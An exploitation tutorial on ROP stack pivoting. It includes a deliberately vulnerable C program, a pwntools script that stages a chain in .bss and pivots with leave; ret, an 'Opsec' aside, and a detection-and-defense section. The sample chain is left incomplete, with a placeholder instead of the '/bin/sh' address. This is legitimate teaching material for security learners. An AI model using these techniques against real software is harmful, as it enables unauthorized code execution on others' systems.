Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
Stack pivoting is the ROP technique for the very common situation where you control the instruction pointer but do not control enough contiguous stack to hold a full chain. Many overflows give only a modest write past the saved return address — enough for one or two gadgets, not the ten-plus qwords a real ret2libc or mprotect chain needs. The answer is to relocate the stack: point rsp at a larger region you *do* control — typically .bss, the heap, or a buffer you filled earlier — and let the CPU execute the long chain you staged there.
Because ROP is driven entirely by rsp (each ret pops the next gadget from wherever rsp points), moving rsp is equivalent to swapping in a whole new program. The move is accomplished with pivot gadgets: leave; ret (mov rsp, rbp; pop rbp; ret), pop rsp; ret, xchg rax, rsp, or an add rsp, N; ret for smaller adjustments. This article shows why the pivot is needed, the mechanics of each gadget, and a full walkthrough that stages a chain in .bss, pivots to it, and continues to a shell — assembled with pwntools.
Attack Prerequisites
Pivoting is a maneuver inside a larger exploit; the enabling conditions are:
- A short but sufficient overwrite — enough to control the saved return address (and often the saved
rbp) even if not enough for a whole chain. - A writable, known-address staging area big enough for the real chain — commonly
.bssin a non-PIE binary, or a heap/buffer address you can leak or predict — plus a primitive (a priorread, agets, a copy) to fill it. - A pivot gadget —
leave; ret,pop rsp; ret,xchg <reg>, rsp; ret, oradd rsp, N; ret— at a known address. - Control of the value the pivot loads into
rsp— forleave; retthat means controlling savedrbp; forpop rspit means placing the target on the stack.
How It Works
The fundamental identity is that the ROP “program counter” is rsp. A pivot gadget overwrites rsp with an attacker-chosen value, after which the next ret fetches its gadget from the new location. The most common pivot is leave; ret, which the compiler emits in ordinary function epilogues. leave is mov rsp, rbp; pop rbp, so if you control the saved rbp slot, a leave; ret sets rsp = rbp (then pops a new rbp), and the following ret begins executing the chain at rbp. The classic recipe: overwrite saved rbp with staging_addr - 8 (or +8 depending on the exact epilogue) and overwrite the return address with a leave; ret, so the second leave; ret pivots onto your staged chain.
pop rsp; ret is the most direct pivot when you can place the destination on the current stack: it loads rsp straight from the next qword. xchg rax, rsp (or xchg rdi, rsp, etc.) is invaluable when a prior primitive already leaves the staging address in a register — you swap it into rsp in one instruction. add rsp, N; ret handles the smaller case of skipping over uncontrolled bytes within the same stack rather than a wholesale migration.
A subtlety: after pivoting into .bss you have a *finite* fake stack, and once the chain runs off its end you crash. That is usually fine — the chain ends in system/execve and never returns. If the chain must run long or loop, stage a second pivot at the end, or size the .bss region generously. Also mind stack alignment: glibc functions using movaps need 16-byte-aligned rsp, so include an extra ret in the staged chain when required.
Vulnerable Code / Setup
A target whose overflow is deliberately just barely enough to control the return address, but not to hold a full chain — the canonical reason to pivot. A separate primitive stages the real chain into .bss:
// gcc -fno-stack-protector -no-pie -o pivot pivot.c
#include <unistd.h>
char stage[512]; // known-address staging area in .bss
void vuln(void){
char buf[64];
read(0, stage, 512); // 1) fill the staging area (full chain)
read(0, buf, 96); // 2) BUG: small overflow -> rbp + retaddr only
}
int main(void){ vuln(); return 0; }
CThe first read fills stage[] (a fixed .bss address in this non-PIE build) with the long chain; the second overflows buf by just enough to set saved rbp and the return address — 96 bytes over a 64-byte buffer. checksec confirms fixed addresses:
$ checksec --file=./pivot
RELRO: Partial RELRO Stack: No canary NX: enabled PIE: No PIE
$ nm ./pivot | grep stage
0000000000404060 B stage
TEXTWalkthrough / Exploitation
First stage the real chain into .bss via the first read. Here the staged chain is a standard system("/bin/sh") sequence (or any long chain). The staged chain begins at stage, so the pivot must land rsp there:
from pwn import *
context.binary = elf = ELF('./pivot')
libc = elf.libc
io = process('./pivot')
STAGE = elf.sym['stage'] # 0x404060, fixed in .bss
rop = ROP(elf)
leave_ret = rop.find_gadget(['leave', 'ret'])[0]
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# The long chain that lives in .bss (leak-then-system omitted for brevity):
chain = p64(rop.ret[0]) # alignment
chain += p64(pop_rdi) + p64(next(elf.search(b'/bin/sh')) if False else 0)
# (in practice: pop_rdi -> &'/bin/sh', then system)
PythonSend the staged chain as the first read, arranging its first gadget to sit exactly at STAGE. Then send the short overflow: fill 64 bytes, set saved rbp = STAGE (so leave will do rsp = STAGE via the epilogue), and set the return address to leave; ret:
# 1) stage the long chain in .bss
io.send(chain.ljust(512, b'\x00'))
# 2) short overflow: control saved rbp + return into a pivot
# vuln's own epilogue is 'leave; ret'; we set rbp so *its* leave pivots,
# then our return address is another leave;ret to execute the staged chain.
payload = b'A' * 64
payload += p64(STAGE - 8) # saved rbp -> stage-8 (leave sets rsp)
payload += p64(leave_ret) # return addr -> leave; ret (the pivot)
io.send(payload)
io.interactive()
PythonThe mechanism, step by step: vuln returns into our leave; ret. leave does mov rsp, rbp — but we overwrote saved rbp with STAGE - 8, so rsp becomes STAGE - 8; pop rbp consumes 8 bytes leaving rsp = STAGE; the trailing ret fetches the first gadget of our staged chain at STAGE. Execution now runs the full-length chain from .bss, unconstrained by the tiny overflow. When a register already holds the target, xchg rax, rsp; ret replaces the two-step leave dance with a single instruction.
Note: Getting the
leave; retoffset right is the usual stumbling block.leavesetsrsp = saved_rbpand thenpop rbpadvancesrspby 8 before theret, so the first executed gadget is atsaved_rbp + 8. Set savedrbptoSTAGE - 8if you want the chain to start atSTAGE. Verify in a debugger (pwndbg’sstackview after the pivot) rather than guessing the +/- 8.
Opsec: Pivoting into
.bssleaves the fake chain resident in a predictable global buffer — trivially visible in a core dump or memory forensics. When staging into the heap, remember the region can be reused or corrupted by later allocations; pivot promptly. A pivot that landsrspon an unmapped page faults immediately, which is the most common cause of a ‘silent’ failed pivot.
Detection and Defense
Pivoting depends on predictable staging addresses and available pivot gadgets:
- PIE + ASLR randomizes
.bss, the heap, and gadget addresses, removing the fixed staging target and pivot gadget locations the technique relies on. - Stack canaries and fortified source to prevent the initial overflow, even the short one, from reaching the saved
rbp/return address. - Intel CET shadow stacks detect the return-address manipulation and the
rspdiscontinuity a pivot introduces. - Non-writable / guarded data regions and
-z noexecstackensure staged data stays non-executable, so a pivot alone cannot run injected code (only reused gadgets). - Runtime monitoring for
rsppointing outside the thread’s stack region — some EDR and hardened runtimes flag execution withrspin.bss/heap as anomalous.
Real-World Impact
Stack pivoting is a routine component of real exploits precisely because attacker write primitives are so often size-limited: a single overwrite that reaches only the return address and saved frame pointer is common, and pivoting converts that narrow foothold into room for an arbitrarily long chain. It is ubiquitous in browser and document-format exploits, where the initial corruption yields a compact control transfer that must be expanded, and it is a standard CTF pattern for read-once-then-overflow binaries like the one above. The technique underscores a general truth of exploitation: controlling rsp is controlling the program, so any primitive that redirects the stack pointer is as powerful as one that redirects rip.
Conclusion
When the overflow is too small for the chain you need, move the chain — and move rsp to meet it. leave; ret pivots via a controlled saved rbp, pop rsp and xchg-based gadgets pivot directly or from a register, and add rsp, N handles small hops. Stage the real chain in .bss or the heap, land rsp on it, and the tiny write becomes a full exploit. Mind the leave offset and stack alignment, and rely on PIE/ASLR and shadow stacks as the defenses that make predictable pivots hard.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments